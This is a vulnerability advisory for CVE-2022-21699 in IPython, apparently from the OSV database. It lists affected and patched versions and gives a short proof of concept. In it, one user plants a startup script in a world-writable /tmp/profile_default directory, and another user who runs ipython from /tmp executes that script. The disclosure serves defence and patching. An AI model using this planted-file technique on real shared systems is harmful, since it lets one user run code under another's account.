---
id: CVE-2022-21699
aliases:
  - GHSA-pq7m-3gw7-gq5x
  - PYSEC-2022-12
title: Execution with Unnecessary Privileges in ipython
summary: Execution with Unnecessary Privileges in ipython
severity: high
cvss: 8.2
cvssVector: 'CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H'
vendor: ipython
product: ipython
ecosystem: pip
affected:
  - ipython < 5.11
  - 'ipython >= 6.0.0, < 7.16.3'
  - 'ipython >= 7.17.0, < 7.31.1'
  - 'ipython >= 8.0.0, < 8.0.1'
patched:
  - ipython 5.11
  - ipython 7.16.3
  - ipython 7.31.1
  - ipython 8.0.1
published: '2022-01-21'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:49:11.109020060Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-pq7m-3gw7-gq5x'
references:
  - url: 'https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2022-21699'
  - url: >-
      https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668
  - url: >-
      https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b
  - url: >-
      https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d
  - url: >-
      https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea
  - url: 'https://github.com/ipython/ipython'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/ipython/PYSEC-2022-12.yaml
  - url: >-
      https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699
  - url: 'https://lists.debian.org/debian-lts-announce/2022/01/msg00021.html'
  - url: >-
      https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB
  - url: >-
      https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK
tags:
  - osv
  - pip
epss: 0.00652
epssPercentile: 0.49853
ingestedAt: '2026-09-12T03:13:01.717Z'
---

## Overview

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
 
Proof of concept

User1:
```
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```

User2:
```
cd /tmp
ipython
```

 

User2 will see:
```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```


## Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699, 

Version 8.0.1, 7.31.1 for current Python version are recommended. 
Version 7.16.3 has also been published for Python 3.6 users, 
Version 5.11 (source only, 5.x branch on github) for older Python versions.

## Affected packages

- `ipython < 5.11`
- `ipython >= 6.0.0, < 7.16.3`
- `ipython >= 7.17.0, < 7.31.1`
- `ipython >= 8.0.0, < 8.0.1`

## Remediation

Upgrade to a patched release:

- `ipython 5.11`
- `ipython 7.16.3`
- `ipython 7.31.1`
- `ipython 8.0.1`